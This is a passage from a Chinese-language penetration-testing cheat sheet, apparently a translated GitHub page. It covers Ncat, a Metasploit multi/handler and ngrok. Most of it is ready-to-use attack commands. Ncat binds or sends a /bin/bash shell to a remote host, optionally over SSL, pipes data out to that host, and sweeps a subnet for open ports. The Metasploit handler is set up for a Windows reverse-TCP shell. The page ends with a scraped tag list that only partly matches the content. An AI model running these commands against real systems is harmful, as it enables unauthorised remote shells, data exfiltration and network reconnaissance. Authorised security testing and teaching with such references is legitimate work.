[ivan-sincek/forbidden](https://github.com/ivan-sincek/forbidden) 中了解如何测试 Web 服务器的各种 HTTP 方法和方法覆盖。 ### Ncat \[服务器\] 设置监听器: ``` ncat -nvlp 9000 ncat -nvlp 9000 > received_data.txt ncat -nvlp 9000 -e /bin/bash ncat -nvlp 9000 -e /bin/bash --ssl ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OK\r\n\r\n" ``` \[客户端\] 连接到远程主机: ``` ncat -nv 192.168.8.5 9000 ncat -nv 192.168.8.5 9000 < sent_data.txt ncat -nv 192.168.8.5 9000 -e /bin/bash ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem ``` 在我的项目 [ivan-sincek/secure-website](https://github.com/ivan-sincek/secure-website/tree/master/crt) 中了解如何创建 SSL/TLS 证书。 检查是否可以连接到指定的 TCP 端口(例如,端口 22 或 23): ``` for i in {0..255}; do ncat -nv "192.168.8.${i}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done for ip in $(cat ips.txt); do ncat -nv "${ip}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done ``` ### multi/handler 设置监听器(根据需要更改 PAYLOAD、LHOST 和 LPORT): ``` msfconsole -q use exploit/multi/handler set PAYLOAD windows/shell_reverse_tcp set LHOST 192.168.8.185 set LPORT 9000 exploit ``` ### ngrok 使用 [ngrok](https://ngrok.com/download) 为您的本地 Web 服务器提供一个公共地址,但如果 Web 服务器未经过适当的加固,出于安全考虑,请不要将其暴露太久。 我建议您如果信任它,不要通过它传输任何敏感数据。 ### 附加参考 归功于作者! * [book.hacktricks.xyz](https://book.hacktricks.xyz/welcome/readme) * [infosecmatter.com/bug-bounty-tips](https://www.infosecmatter.com/bug-bounty-tips) * [pentestbook.six2dez.com](https://pentestbook.six2dez.com)标签:CheatSheet, CISA项目, CTI, ffuf, GitHub, Web安全, 内核模块, 安全资源, 密码管理, 应用安全, 插件系统, 数据展示, 日志审计, 渗透测试速查表, 红队, 网络安全, 自动化侦察, 蓝队分析, 逆向工具, 隐私保护